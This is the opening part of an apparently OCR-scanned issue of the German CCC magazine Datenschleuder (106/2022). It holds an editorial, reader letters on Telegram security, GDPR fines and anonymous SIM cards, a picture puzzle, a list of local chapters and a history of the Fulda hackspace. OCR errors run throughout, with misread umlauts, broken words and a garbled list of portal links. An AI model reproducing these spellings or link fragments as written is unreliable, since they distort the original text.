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Geleitwort

Es ist viel los in der Welt. Und gefiihlt kommt
man aus dem Doomscrolling gar nicht mehr
raus. Immer noch hat uns die Pandemie im
Griff, [1] und mit dem Aufschwung nach dem
Corona-Tief kommt die Inflation. [2] Die Ener-
giepreise in Europa steigen, [3] wihrend Russ-
land die Annexion von vier ukrainischen Ge-
bieten verkiindet. [4] Gleichzeitig bittet die
ukrainische Regierung wegen der Kriegssché-
den an der heimischen Strom- und Warmever-
sorgung gefliichtete Menschen erst im kom-
menden Frithjahr zuriickzukehren. [5] In Te-
heran starb Mitte September Mahsa Amini in
einem Krankenhaus, nachdem sie von der ira-
nischen Moralpolizei festgenommen und mut-
mafilich schwer misshandelt wurde, weil sie
den Hidschab in der Offentlichkeit nach deren
Ansicht nicht korrekt getragen hatte. [6]

Trotzdem gibt es Grund zur Hoffnung. Im
Iran protestieren Teile der Bevolkerung ge-
gen die Zwangsverschleierung als Unterdrii-
ckungswerkzeug, angefiithrt werden sie von
Frauen. [7] Und wiederholt gingen die Men-
schen in Russland gegen den Krieg in der
Ukraine auf die Strafie. Mindestens 745 Protes-
tierende seien inhaftiert, schrieb die New York
Times Ende September. 8]

Aktivismus war und ist also unverzichtbar.
Damit Aktivismus stattfinden kann, braucht
es miindige Biirger. Und die wachsen nicht auf
Biaumen. Deswegen behandeln wir in dieser
Datenschleuder das Thema Bring Your Own De-
vices an Schulen. (Seite 0x32) In vielen Schulen
in Deutschland werden derzeit elternfinanzier-
te 1:1-iPad-Ausstattungen der Schiiler*innen
etabliert, um die von den Schultragern aus Mit-
teln des Digitalpakts bereitgestellte Infrastruk-
tur zu nutzen. Dabei kommen jedoch wesentli-
che Aspekte wie Nachhaltigkeit, Reparierbar-
keit, Chancengerechtigkeit, MINT-Bildung
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und digitale Miindigkeit zu kurz. Eine Losung
bote stattdessen der Einsatz von Open-Source
Software.

In der Schule werden idealerweise die
Grundsteine fiir eine solide Bildung gelegt. In
den Hackspaces gibt es Anschlussméglichkei-
ten und die Moglichkeit weiter zu forschen,
die individuellen Interessen in den verschie-
densten Projekten mit Gleichgesinnten zu ver-
tiefen.

In dieser Ausgabe stellt sich der Hackspace
Fulda vor, erzihlt aus seiner Grinderzeit und
vom aktuellen Vereinsleben im gleichnami-
gen Artikel. Und ganz herzlich gratuliert die
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Redaktion der Datenschleuder der dezentra-
le in Leipzig zu ihrem finfjahrigen Bestehen.
Einen Einblick in den lokalen Hackspace ge-
wihrt 5 Jahre dezentrale Leipzig — (m)eine Re-
trospektive. (Seite 0x1c) Eine iiberregional or-
ganisierte Anschlussméglichkeit fiir FINTA*-
Personen bieten die Haecksen. FINTA™ steht
fur Frauen, Intergeschlechtliche, Nichtbinire,
Trans und Agender. Der Artikel Wer sind die
Haecksen (Seite 0x15) erklart, woher der Be-
griff der Haeckse eigentlich kommt, und war-
um es einen eigenen Raum fiir anders als cis-
ménnliche Personen braucht.

Die Arbeit, die in den Hackspaces und in
iiberregionalen Gruppen wie den Haecksen
passiert, will auch nach auflen getragen wer-
den. Zwar findet auch dieses Jahr aufgrund der
Pandemie kein Congress statt, was aber nicht
heif3t, dass Vortragskompetenz nicht wichtig
wire. Immerhin gibt es noch allerlei andere
Veranstaltungen im CCC, wie die GPN (Gu-
laschprogrammiernacht) oder das Camp. Das
Chaos braucht Menschen, die ihr Wissen wei-
tergeben wollen, und allen, die bisher davor
zuriickgeschreckt sind, sei der Artikel Traut
Euch, Talks zu halten (Seite 0x2B) ans Herz ge-
legt. Wawuschel beleuchtet darin den Einrei-
chungsprozess, sowie Talk Vor- und Nachbe-
reitung und schildert die eigenen Erfahrungen.
In G’schichten vom Congress — Orga, Auf- und
Abbau (Seite 0x20) geht es dann um die Arbeit
des Congress-Orgateams, genauer darum, wie
man sich tiberhaupt in so ein Orgateam verir-
ren kann, wie die Logistik-Crew sich auf den
Congress vorbereitet, und was dabei alles so
bedacht werden muss.

Daneben kommt in dieser Ausgabe der Da-
tenschleuder das Programmieren selbst nicht
zu kurz. Hello World in C#— Ein Start in die
Programmierung auf Microsoft Windows (Sei-
te 0x49) ist ein Tutorial, welches das Program-
mieren unter Windows 10 etwas niherbringt.

Und in Kinsing — The Go RAT (Seite 0x50) er-
klart tanto fir den CCC Aachen wie die Mal-
ware Kinsing anfallige Server angreift, funk-
tioniert und persistent wird.

Doch Code ist nicht nur funktionales Werk-
zeug. Programmiersprachen bringen auch im-
mer unsere Menschlichkeit zum Ausdruck.
Wer in Gemeinschaft ethisch und kulturell
wachsen mochte, sollte also die tiberfunktiona-
len Eigenschaften von Code lesen und schrei-
ben lernen. In Code als Kunst- und Kulturspra-
che (Seite 0x54) wagt Jan-Christian Petersen
eine Anndherung zum Thema.

Doch die Datenschleuder wire nicht kom-
plett ohne Auflésung des Bilderritsels der vor-
herigen Ausgabe.

Und um die Datenschleuder noch breiter
zugénglich zu machen, werden auf der DS-
Homepage [9] in Zukunft bekannte Archive
der Datenschleuder verlinkt. Solltet ihr Men-
schen kennen, die keine Datenschleuder bezie-
hen, aber Interesse am Lesen haben, gebt die-
se Info gerne weiter. So wollen wir Zugangs-
hiirden aktiv reduzieren. Und falls ihr ein be-
stehendes Datenschleuder-Archiv euer Eigen
nennt, dann schickt uns doch bitte den Link da-
zu, den teilen wir gerne auf der Homepage. Be-
kanntlich ist nach der Datenschleuder vor der
Datenschleuder. Wihrend ihr diese Ausgabe
in Handen haltet, planen wir schon die nichs-
te. Und weil euch die Sticker aus der ds105 so
viel Freude bereitet haben, sollen an die ds107
wieder Sticker ran. Dafiir brauchen wir eure
Hilfe. Blattert also schnell zu Sendet uns eure
Sticker-Designs und Druckdaten! (Seite 0x0B)
Da gibt’s die Details.

Damit erstmal genug von Seiten der Redak-
tion. Wir wiinschen Spaf3 beim Lesen!

[OFI0)]
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Leser*innenbriefe
Moin-moin,

Portails

» Agriculture agriculiure pi

m

» Agrimeteo.lu www.ag

» Aménagement du territoire amenagement-territoire, Iy

» Maison de l'srientation maison-orientat
» Association d'assurance accident www.aaa,lu

» Bee creative www. bee-creative.ly

» Bee secur:

> Bénévolat woww.bei

» Cartographie (Géoportrail) map.geonortail.ly

> CERT gouvernemental (GOVCERT.LU) www goveertly

» Citoyens www.Citoyens.lu

» Culture www,culture lu

YRErSECUntyIY

> Démence www.der AT}

» Douanes et accises www. douanes public,lu

den fand ich nicht schlecht :)
Griif3e,
<Knuth>
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Liebes CCC-Team, ich bin seit Ausbruch des
Krieges in der Ukraine als Friedensaktivistin
im Einsatz und hatte vor ein paar Tagen schon
mal ein langeres Gespréich mit einem Mitglied
aus dem CCC zum Thema Sicherheit. Vielen
Dank, dass Ihr das méglich macht!

Wir haben auch iiber Telegram gesprochen.
Mir ist bekannt, dass die beiden Griinder auf
der Seite der russischen Opposition stehen,
aber niemand wirklich sagen kann, wie si-
cher Telegram ist. Ich muss dartiiber aber fiir
mein Friedensprojekt eine Einschitzung vor-
nehmen. Nun habe ich dazu eine weitere Fra-
ge, in der Hoffnung, dass Ihr sie beantworten

konnt. Vor dem Hintergrund der aktuellen Si-
tuation ist auch diese Frage wieder dringend:
Ist es moglich, dass der FSB Telegram-
Nachrichten mitliest? Sprich: Wie sicher ist
Telegram bei kompletter Anonymisierung
der Profileinstellungen? In diesem Twitter-
Bericht (https://twitter.com/matsapulina/st
atus/1518186036697964546) wird geschildert,
dass die betreffende Person - eine Aktivis-
tin — ausspioniert wurde. Sie spricht sogar
an, dass es moglicherweise Sicherheitslocher
gibt, die absichtsvoll nicht von Telegram ge-
schlossen werden. Ich wiirde mich sehr freu-
en, wenn Ihr Euch diese Eintrdge im Profil
der Aktivistin einmal ansehen kénntet (ich
nutze https://deepl.com/ zum Ubersetzen) und
meine Frage zur Sicherheit von Telegram vor
diesem Hintergrund noch einmal beantworten
konntet.
Vielen herzlichen Dank!
<Lena>

Moin Lena, danke fiir deine Mail an das Mit-
gliedermagazin des CCC, der Datenschleuder.
Telegram hat zwei grundlegende Probleme:

1. Verschlisselung gibt es nur fir 1:1-Chats
und nur nachdem sie explizit eingeschaltet
wurde. Gruppen-Chats und Chats, bei denen
vergessen wurde die Verschliisselung explizit
einzuschalten, sind unverschliisselt. All die-
se Chats konnen von Geheimdiensten durch
iibliche Kommunikationsiiberwachung ausge-
lesen oder manipuliert werden.

2. Die Verschliisselungstechnik wurde selbst
gebaut und zwar nicht von Experten auf dem
Gebiet der Verschliisselung. Verschliisselung
so zu bauen, dass sie nicht ,geknackt” werden
kann, ist wirklich schwierig. Ein noch so klei-
ner Fehler fithrt ganz schnell zur kompletten
Entschliisselung. Und ich bin mir sicher auf
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Seite der Geheimdienste sitzen Experten, die
solche Fehler finden.

Aber neben der Vertraulichkeit deiner Nach-
richteninhalte sprichst du noch die Anonymi-
tit von dir als Kommunikationspartnerin an.
Deine Anonymitit hat aber nichts mit Tele-
gram zu tun, sondern damit, wie du dich ver-
haltst und tiber welche Gerite und Dienstleis-
ter du den Dienst nutzt. Wenn ein Geheim-
dienst sieht, dass ein bestimmter Anschluss
verschliisselt kommuniziert, dann schauen sie
einfach als néchstes nach mit wem dieser An-
schluss noch kommuniziert. Wenn der gleiche
Anschluss, der verschlusselt kommuniziert,
sich auch bei Facebook mit einem bestimmten
Profil einloggt, dann ist es sehr wahrscheinlich,
dass hinter beiden Aktionen dieselbe Person
steht.

Du kannst einen gewissen Aufwand trei-
ben, dann bist du hier im sicheren Deutschland
anonym, aber dein gefdhrdetes Gegeniiber in
Russland noch nicht.

Ich empfehle dir zwei Dinge:

1. Nutze Signal statt Telegram.

2. Wenn du ernsthaft anonym agieren méch-
test, dann kaufe mit Bargeld (Kreditkarten
haben deine Daten verkniipft) in einem
Shop (Lieferungen haben natiirlich deine
Daten verkniipft) ein Handy und eine SIM-
Karte. SIM-Karten miissen in Deutschland
registriert werden. Daher musst du von
woanders eine kaufen. Zum Beispiel beim
néichsten Urlaub in den Niederlanden. Set-
ze die anonyme SIM-Karte in das anonyme
Handy. Gib niemals personliche Daten in
das Handy ein oder verbinde es mit Inter-
netzugéngen oder Diensten von dir. Benut-
ze kein WLAN und lege ein Google-Konto
zur Nutzung des Play Stores vom Handy
aus an.

Grufl
<vollkorn>

&

*at *at ¥t

Dear CCC, My name is Deni, an Indonesian
Journalist from a newspaper called The Jakarta
Post and I have several questions for this story
I’'m working on and let’s start with contexts.
So, the Indonesian House of Representatives
is going to sign the private data protection
bill within the near future and naturally, I am
writing about this. Specifically, I narrow my
focus down to the punishment of failure in
protecting data. According to this new law,
individuals, institutions, as well as corporati-
ons who are found to be guilty in failure of
protecting data will get either administrative
sanction (written warning, indemnity, etc.) or
criminal punishment (fines, imprisonment and
asset forfeiture). The idea of my story would
be comparing this law with what you have in
Germany. So, these are the questions:

1. Can you mention just a few of the most
significant punishments to failure in pro-
tecting private data in Germany?

2. In practice, is there a direct correlation bet-
ween the implementation of these punish-
ments and better data protection?

3. Does this kind of disincentive always sti-
mulate a better data protection system?

Thanks a lot for your help, and anyway,
don’t mean to pressure you but I need this
one fast.

Best regards,
<Deni>

Hi Deni,

1. the highest fine due to GDPR violations in
the EU so far has been 746 Million Euros
for Amazon for online targeting without
user consent. This was in Luxembourg,
though. https://dataprivacymanager.net/I
uxembourg-dpa-issues-e746-million-gdpr

[ ]
& 0X06

el
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-fine-to-amazon/
The highest fine in Germany was 35 Mil-
lion Euros against the fashion company
H&M for an illegal employee questionn-
aire. https://edpb.europa.eu/news/nation
al-news/2020/hamburg-commissioner-fin
es-hm-353-million-euro-data-protection-v
iolations_en
2. 1 do not know of any study of this kind,
and I am pretty sure this is an effect, that
you cannot measure. Firstly, how do you
measure the data protection level of a who-
le continent? How do you determine, if it
got any better? Secondly, you need a va-
lue to compare it, too. Like, another EU
or Germany, where this change was not
implemented.
A related question I can answer: Do com-
panies feel consequences of their bad data
protection due to the fines? Yes, they do.
3. Pretty sure you’ll always find a way to im-
plement it without any effect. Here’s an-
other question I can answer you: Under
which conditions does legislation with fi-
nes work? The judicature and data protec-
tion agencies need the power and the re-
sources to identify, investigate, and punish
data protection violations.
Cheers,
<vollkorn>

Re: Nutzung von WhatsApp
#104

Moin, erginzend zur Antwort des Leserbriefs
zur Nutzung von WhatsApp lésst sich hinzu-
fiigen, dass es
1. in manchen (europiischen) Landern, z.B.
den Niederlanden, (noch) registrierungs-
pflichtbefreite SIM-Karten gibt und

2. WhatsApp auf ihren Webseiten ein APK
zur Verfugung stellt, sodass auf Google ver-
zichtet werden kann. Auf den Link mochte
ich bewusst verzichten, da ich die Nutzung
von WhatsApp nicht férdern will.

Mit bestem Gruss,
<Muelli>

Re: Bilderratsel #105

Das Bilderritsel der letzten Ausgabe war wohl
zu einfach - gleich 13 Zuschriften erreichten
uns mit den korrekten Antworten — vielen
Dank den Mitratenden! Hier die Beschreibung,
die Christian geliefert hat:

Ihr schriebt ,Grau in Grau, die Farbe liisst
vermuten, wir bleiben im dlteren Gerdtespek-
trum®, und in der Tat ist es ein Hinweis-
Ansagegerdt 1 (HAG-1) der Firma Ass-
mann GmbH, welches im Telefonnetz der Bun-
despost die Ansagen (,,Kein Anschluf3 unter
dieser Nummer, Piep, Piep, Piep...") von ma-
gnetischen Schallplatten abspielte.

Hier folgt noch eine kleine Auswahl der ein-
gegangenen Antworten.

W oW W

Fad Fat *at

Hallo, Ich hab das Teil im Original zwar nie
gesehen, aber ein Schallplattenspieler mit zwei
Tonabnehmern schreit einfach nach der guten,
alten Zeitansage. Eine Nadel fiir die Stunden,
eine fiir die Minuten. Stopp! Das kann nicht
sein. Wurde die Zeit nicht auf die Sekunde
genau angesagt...?

<Wando>

W oW W

Fad Fat | 2
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Hai, ist ein magnetischer Tontrdger in Form den Tipp gegeben ich tendierte zu den ersten

einer Schallplatte fiir die alte Telefonzeit-
ansage. Siehe da: https://www.wasser.de/
telefon-alt/forum/index.pl?job=thema&tnr

=100000000004131 M. (Uhren-) Ebinger hat

experimentellen Festplattenversuchen, das
konnte aber nicht bestétigt werden.
<Dieter-Josef>

Hinweis-Ansagegerat 1 (HAG-1) der Firma Assmann GmbH
(http://fernmeldemuseum-aachen.de)

&

*at *ad *t

Hallo zusammen, ich méchte das Bilderrat-
sel aus der DS l6sen: Bei dieser lustigen Kreu-
zung aus Schallplatte und Tonband handelt
es sich um das ,Hinweisansagegerit HAG 1
der Firma ASSMANN, das bei der ,grauen®
Deutschen Bundespost weiland zum Endlosab-
spielen von Ansagetexten wie ,Kein Anschluss
unter dieser Nummer® verwendet wurde.

Das Gerit kann man in diesem schénen Vi-
deo in Aktion sehen: https://www.youtube.co
m/watch?v=zxyOs2QIXiA

<Michael>

Bilderratsel dieser Ausgabe

Manche Gespriche lassen sich mit Emojis ab-
kiirzen, manche brauchen diese Tastatur. Ein-
geweihte wissen, dass das nur funktioniert,
wenn es keine weiteren Storungen gibt. Sonst
muss eben angerufen werden. Aber es ist
schon luxurigser, wenn nicht handisch proto-
kolliert werden muss, was hier ein- und iiber-
geben wird.

Hast du eine Idee, was das fiir ein Gerit sein
konnte? Dann schreibe uns deine Vermutung
an <ds@ccc.de>.
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es ist 2022

meine versicherung: legen sie doch ein online dings an,
dann konnen sie ganz einfach blabla

ich: ok, wegen mir, weniger portokosten
onlineformular: ihre nummer ist falsch

ich:...

hotline: ja, sie haben einen umlaut im nachnamen

ich: U

hotline: ich leg das von hier an, vergeben sie bitte 1 pw
iCh: R

formular: alle bedingungen erflillt, weiter button trotz-
dem grau

hotline: was haben sie denn als sonderzeichen?

ich: *checking pw manager” ein @

hotline: ja, das sieht der nicht als sonderzeichen, neh-
men sie einen .

esist 2022
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Sendet uns Sticker-Designs und Druckdaten!

von manu <manu@stickeroperation.center>

In der letzten Datenschleuder haben wir euch ein kleines Geschenk gemacht: Am Ende der
Ausgabe haben wir einen Stickerbogen voll mit fiktiven und echten Logos vieler unterschiedli-
cher Gruppen aus Chaos und Congress versteckt. Um auch in Zukunft vielseitige Stickerbogen
beilegen zu konnen, wiinschen wir uns Einsendungen und Ideen von euch.

Die Stickersammlung der letzten Ausgabe
scheint auf viel Zustimmung und Liebe ge-
troffen zu sein. Fotos von Laptops und Mo-
beln mit neuer Dekoration machten in sozia-
len Netzwerken die Runde, und angeblich soll
das eine oder andere selbstgeklebte Chaos-
Organigramm dabei entstanden sein. Kurz ge-
sagt: ihr habt viel Freude daran gezeigt.

Wir wollen euch nun die Méglichkeit bie-
ten, zukinftige Stickerseiten mitzugestalten.
Vergangene Chaos-Veranstaltungen haben ge-
zeigt, dass es unter euch zahlreiche kreative
Kopfe und experimentierfreudige Wesen gibt,
die uns immer wieder mit ihren Motiven und
Ideen begeistern. Ob es sich dabei nun um ein
absurdes Warnlabel, eine schone Zeichnung
oder etwas ganz anders handelt — diese Kreati-
vitét in Stickerform méchten wir in der Daten-
schleuder gerne widerspiegeln. Auf dass diese
Sticker am Ende zahlreiche Geréte oder Ein-
richtungsgegenstande verzieren werden, um
auch euch das Leben ein kleines Bisschen bun-
ter zu machen!

Hiermit seid ihr aufgerufen, uns Sticker fiir
zukiinftige Ausgaben einzureichen. Zum Ein-
reichen fertiger Druckdaten (am besten in edi-
tierbarer Form) dirft ihr das nagelneue ,Ha-
cker Archive® [1] benutzen, auf dem euch ein
Upload-Formular[2] zur Beteiligung bereitge-
stellt wird. Bitte stellt beim Hochladen sicher,

dass es sich entweder um eure eigene Arbeit
handelt, oder das Werk unter einer freien Li-
zenz steht.

Wenn ihr eine super Idee fiir ein Motiv
habt, die ihr uns mitteilen mochtet, aber nicht
selbst umsetzen konnt, schickt sie uns an
<ds@ccc.de>. Wenn wir die Idee gut finden,
findet sich unter Umstdnden ein Wesen, das
diese Idee Realitat werden lasst. Vielleicht ja
auch mit euch zusammen.

So koénnt ihr uns nicht nur mit neu-
en und bewidhrten Motiven fiir zukunfti-
ge Datenschleuder-Stickerbdgen unterstiitzen,
sondern auch zur Archivierung Chaos- bezie-
hungsweise Hackerkultur-bezogener Kreatio-
nen beitragen.

Zusitzlich werden die Designs, die in der je-
weiligen Datenschleuder-Ausgabe verwendet
wurden, neben dem PDF und dem ePUB zum
Download [3] angeboten werden.

Referenzen

[1] The Hacker Archive: https://hacker-archi
ve.org/

[2] The Hacker Archive: ,Upload-Formular®,
https://hacker-archive.org/s/Start/page/
contribute

[3] Datenschleuder: ,Altere Ausgaben®,
https://ds.ccc.de/download.html
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Erfahrungsaustauschkreise

Aachen :: CCCAC :: Chaos Computer Club Aachen e. V. https://aachen.ccc.de/
Schiitzenstrafle 11, 52062 Aachen

Bamberg :: backspace e. V. https://www.hackerspace-bamberg.de/
Di 19 Uhr :: backspace, Spiegelgraben 41, 96052 Bamberg

Basel :: CCC Basel :: Chaos Computer Club Basel https://www.ccc-basel.ch/
Di 19:30 Uhr :: Birsfelderstrasse 6, 4132 Muttenz

Berlin :: CCCB :: Chaos Computer Club Berlin e. V. https://berlin.ccc.de/
Di u. Do 19 Uhr :: Club Discordia, Marienstrafle 11, 10117 Berlin

Bremen :: CCCHB :: Chaos Computer Club Bremen e. V. https://ccchb.de/
Di 20 Uhr :: https://meeten.statt-drosseln.de/b/inj-2ec-4na, Zweigstrafie 1, 28217 Bremen
Darmstadt :: Chaos Computer Club Darmstadt e. V. https://www.chaos-darmstadt.de/
Di 19 Uhr u. Fr 18 Uhr :: W17, Wilhelminenstrafle 17, 64283 Darmstadt

Dortmund :: Chaostreff Dortmund e. V. https://www.chaostreff-dortmund.de/
Di u. Do 19 Uhr :: Langer August, Braunschweiger Straf3e 22, 44145 Dortmund

Dresden :: C3D2 :: Netzbiotop Dresden e. V. https://c3d2.de/
Di u. Do 19 Uhr :: HQ, Riesaer Straf3e 32, 01127 Dresden

Diisseldorf :: Chaosdorf :: Chaosdorf e. V. https://chaosdorf.de/
Fr ab 18 Uhr :: Chaosdorf, Sonnenstrafie 58, 40227 Diisseldorf

Erlangen : Bits'n’Bugs e. V. https://erlangen.ccc.de/
Fr 18:00 Uhr :: ZAM Erlangen, Hauptstrafle 65-67, 91054 Erlangen

Essen :: Chaospott :: foobar e. V. https://chaospott.de/
Mi 19 Uhr u. So 16 Uhr :: foobar, Sibyllastrafie 9, 45136 Essen

Frankfurt am Main :: CCCFFM :: CCCFFM e. V. https://ccc-ffm.de/
Di u. Do 19 Uhr :: Hackquarter ccc-ffm, Hauser Gasse 2, 60487 Frankfurt am Main

Freiburg :: CCCFr :: Chaos Computer Club Freiburge. V. https://cccfr.de/
Mo u. Di 19 Uhr :: Hackspace, Adlerstrafie 12 a, 79098 Freiburg im Breisgau

Fulda :: mag.lab :: Magrathea Laboratoratories e. V. https://maglab.space/
Fr 19 Uhr :: Buttlarstrafle 1 a, 36039 Fulda

Gottingen :: CCCGoe :: CCC Gottingen e. V. https://cccgoe.de/
2. Di 20 Uhr :: Neotopia, Von-Bar-Strafle 2—4, 37075 Géttingen

Hamburg :: CCCHH :: CCC Hansestadt Hamburge. V. https://hamburg.ccc.de/

letzter Di 20 Uhr :: CCCHH, Zeiseweg 9, 22765 Hamburg

Hannover :: C3H : Leitstelle 511 - Chaos Computer Club Hannover e. V. https://hannover.ccc.de/
Mi 19 Uhr u. letzter So 16 Uhr :: Leitstelle 511, Klaus-Miiller-Kilian-Weg 2, 30167 Hannover

Kaiserslautern :: Chaos inKL. e. V. http://www.chaos-inkl.de
Sa 19 Uhr :: Klubraum, Rudolf-Breitscheid-Strafie 65, 67655 Kaiserslautern

Karlsruhe :: Entropia :: Entropia e. V. https://entropia.de/
Sa 19:30 Uhr :: Entropia, Steinstrafle 23, 76133 Karlsruhe

Kassel :: CCC Kassel :: flipdot e. V. https:/flipdot.org/

Di 19 Uhr :: flipdot, Franz-Ulrich-Straf3e 18, 34117 Kassel

Fa

Datenschleuder 106 /2022 0x0D giﬁ;g


https://aachen.ccc.de/
https://www.hackerspace-bamberg.de/
https://www.ccc-basel.ch/
https://berlin.ccc.de/
https://ccchb.de/
https://www.chaos-darmstadt.de/
https://www.chaostreff-dortmund.de/
https://c3d2.de/
https://chaosdorf.de/
https://erlangen.ccc.de/
https://chaospott.de/
https://ccc-ffm.de/
https://cccfr.de/
https://maglab.space/
https://cccgoe.de/
https://hamburg.ccc.de/
https://hannover.ccc.de/
http://www.chaos-inkl.de
https://entropia.de/
https://flipdot.org/

Chaos Lokal ==

Koln :: C4 :: Chaos Computer Club Cologne e. V. https://koeln.ccc.de/
Do 20 Uhr :: Chaoslabor, Heliosstrafle 6 a, 50825 Koln
Liibeck :: nbsp :: Chaotikum e. V. https://chaotikum.org/

Mi 19 Uhr :: Fackenburger Allee 11, 23554 Liibeck

Mannheim :: C3MA :: Chaos Computer Club Mannheim e. V. https://www.ccc-mannheim.de/
Fr 19 Uhr :: Neckarauer Strafie 106-116, 68163 Mannheim

Miinchen :: muCCC :: Chaos Computer Club Miinchen e. V. https://www.muc.ccc.de/
2. Di 20 Uhr :: muc, Schleilheimerstrafie 39, 80797 Miinchen

Paderborn :: C3PB :: C3PB e. V. https://c3pb.de/
Mi 19 Uhr, 1. So ab 12 Uhr :: Westernmauer 12-16, 33098 Paderborn

Salzburg :: CCC Salzburg :: Chaostreff Salzburg https://cccsbg.at
Fr 18 Uhr :: Ulrike-Gschwandtner-Strafie 5, 5020 Salzburg

Siegen :: Chaos Siegen, HerzSi :: Chaos Siegen e. V. https://chaos-siegen.de/
Do 19:30 :: Hackspace Siegen, Effertsufer 104, 57072 Siegen

Stuttgart :: CCCS :: Chaos Computer Club Stuttgarte.V. https://cccs.de/
1. Di 18 Uhr (Lichtblick), 3. Mi (shackspace) :: Stuttgart

Ulm :: CCCU :: Hackerspace Ulm e. V. https://ulm.ccc.de/
oft :: Freiraum, Platzgasse 18, 89073 Ulm

Wien :: C3W :: Chaos Computer Club Wien https://c3w.at/
3. Di 19 Uhr :: Metalab, Rathausstrafle 6, 1010 Wien

Wiesbaden :: CCCWI :: Chaos Computer Club Wiesbaden e. V. https://cccwi.de/
Di 19 Uhr :: Sedanplatz 7, 65183 Wiesbaden

Wiirzburg :: N2N :: Nerd2Nerd e. V. https://nerd2nerd.org/
Do 18:30 Uhr :: FabLab Wiirzburg, Veitshchheimer Strafie 14, 97080 Wiirzburg

Zirich :: CCCZH :: Chaos Computer Club Ziirich https://www.ccczh.ch/

Mi 19 Uhr :: Neue Hard 12, 8005 Ziirich

Es gibt in den folgenden Stadten Chaostreffs: Aalen, Alzey, Amsterdam, Andernach, Augs-
burg, Aschaffenburg, Backnang, Bayreuth, Bern, Bielefeld, Bingen, Bonn, Budapest, Chemnitz,
Coburg, Cottbus, Erfurt, Flensburg, Gief3en, Graz, Gunzenhausen, Halle (Saale), Heidelberg,
Hildesheim, Hilpoltstein, Hoher Flaming, Ingolstadt, Innsbruck, Iserlohn, Itzehoe, Jena, Kiel,
Klaus (Vorarlberg), Konstanz, Leipzig, Lorrach, Ludwigsburg, Luxemburg, Marburg, Markdorf,
Miinster, Neuss, Niirnberg, Offenburg, Osnabriick, Potsdam, Rapperswil-Jona, Recklinghau-
sen, Regensburg, Rotterdam, Saarbriicken, Schwerin, Trier, Unna, Villingen-Schwenningen,
Westerwald, Winterthur, Wuppertal, Zwickau

Nichts in Deiner Gegend gefunden? Schau’ mal bei den Aliens vorbei: https://aliens.ccc.de/

Detailinformationen siehe https://www.ccc.de/regional
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Wie funktionierts?

Ein Hackspace in der Mitte Deutschlands -
Magrathea Laboratories e.V.

von major <major@maglab.space> und sharon <sharon@maglab.space>

,Laut ,Per Anhalter durch die Galaxis® war der alte Planet Magrathea einer der wohlhabendsten
in der Galaxie. Seine Bewohner entwickelten eine neue Spezialindustrie: Die Konstruktion
mafigeschneiderter Luxusplaneten. Diese Traumplaneten waren siindhaft teuer, sodass Magra-
thea bald zum reichsten Planeten aller Zeiten wurde und den Rest der Galaxie in die bittere
Armut drangte. Wéhrend des groflen galaktischen Bérsencrashs begaben sich die Bewohner
daher in einen Winterschlaf und warten seitdem auf wirtschaftliche Erholung, auf dass sie
ihre Konstruktionsdienste erneut anbieten kénnten. Doch Magrathea geriet langsam in Ver-
gessenheit und in diesen aufgeklarten Tagen glaubt natiirlich niemand mehr ein Wort von

planetenbauenden Hyperraum-Ingenieuren

Im Zuge des kollektiven Winterschlafs der ma-
gratheischen Bevolkerung kamen die Forscher
der Magrathea Laboratories zu dem Konsens,
dem Winterschlaf nicht weiter beizuwohnen
und stattdessen ihre Forschungen weiter vor-
anzutreiben. Daher entschieden sie sich, das
Labor auf ihr bisheriges bio-algorithmisches
Meisterstiick, die Erde, zu verlegen. Es befin-
det sich in der Mitte des alten Europa, in Fulda.
Im Laufe der Jahrzehnte wurden die ehema-
ligen Magratheans mehr und mehr wie die
Ureinwohner der Erde. Heutzutage kann man
sie nicht mehr unterscheiden. Nichtsdestotrotz
bleiben sie die Schopfer neuer Welten.

So oder so dhnlich muss es damals gewe-
sen sein. Das Datum, an dem die Magrathea-

ner ihre Ansiedlung auf der Erde begannen,
lasst sich nicht rekonsturieren. Doch Geriich-
te, dass sie sich unter das Publikum des Chaos
Communication Congress mischen, bestehen
bereits seit 15 Jahren. Die erste schriftliche
Quelle lasst sich auf den 17.01.2014 datieren,
ein Antragspapier im Planungsamt auf Alpha
Centauri.

Die tatsachliche Grindungszeit

Schon lange vor der offiziellen Eintragung in
das Vereinsregister — etwa seit 2008 — traf sich
ein wechselnder Personenkreis Fuldaer um
jahrlich zur gemeinsamen Teilnahme am Cha-
os Communication Congress zu reisen. Seit

22 ox10
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dieser Zeit fanden unregelméafBige Treffen statt,
zunéchst in diversen lokalen Kneipen und spa-
ter im fuldaer Studierendencafe ,,Cafe Chaos®.
Die beteiligten Personen wollten sich mit an-
deren Technikinteressierten aus dem Raum
Fulda vernetzen, eine Gelegenheit zum Aus-
tausch bieten und gemeinsam an Projekten
arbeiten.

Ziemlich frith schon stand die Idee im Raum,
einen festen Rahmen fiir Events, Making und
Treffen zu schaffen. Der erste Anlauf zur Grup-
penstrukturierung wurde bei einer Veranstal-
tung mit dem Namen ,Night of Projects” im
Jahr 2010 unternommen. Die Liebe zum Hitchi-
kers Guide und der Wunsch Dinge zu kreieren,
fithrten zum Namen ,Magrathea Laboratories".
Es wurde ein Satzungstext erarbeitet, aller-
dings daraus kein Verein gegriindet oder ein-
getragen. Der Personenkreis erwies sich als zu
lose, so dass es einige weiterer Jahre unregel-
mafiger Treffen bedurfte, bis die Ursprungs-
idee in die Realitit umgesetzt wurde. Die Grup-
pe verstand sich seit dieser Zeit als Chaostreff,
nahm rege an Chaosevents teil (neben dem
Congress unter anderem GPN und MRMCD)
und entsendete auch regelmafiig Personen zu
den Regiotreffen des CCC.

Das offizielle Vereinslogo  (maglab/inkOne)

Aktivitateniiberblick

11.2010 NOP 1. Night of Projects, HS Ful-
da

04.2011 Geekend Café Chaos, HS Fulda

05.2011 hackertent auf den Hochschulta-
gen, das Kulturfestival des AStA der HS
Fulda

10.2011 Geekend Continued Marburg

11.2011 NOP 2. Night of Projects, HS Ful-
da

04.2012 Geekend Phase 3 Café Chaos,
HS Fulda

11.2012 NOP 3. Night of Projects, HS Ful-
da

11.2013 Geekend v4 Café Chaos, HS Ful-
da

03.2014 Geekend V Café Chaos, HS Ful-
da

05.2014 hackertent auf den Hochschulta-
gen

08.2015 mag.lab @ CCCamp Jurte auf
dem CCCamp, Ziegeleipark Mildenberg

06.2016 Einweihungsfeier der Vereins-
rdume des maglab.space

06.2016 Junior Science Cafe Teilnahme
an einer Podiumsdiskussion zum Thema
Digitale Demokratie: Recht, Ordnung
oder Anarchie, Winfriedschule Fulda

09.2016 Freifunk Hessen Meetup

10.2016 Geekend Reloaded Magrathea
Laboratories e.V.

05.2017 Workshop Premium-Cola

08.2017 WAT 1. kleines Hackercamp
,What a Tent"

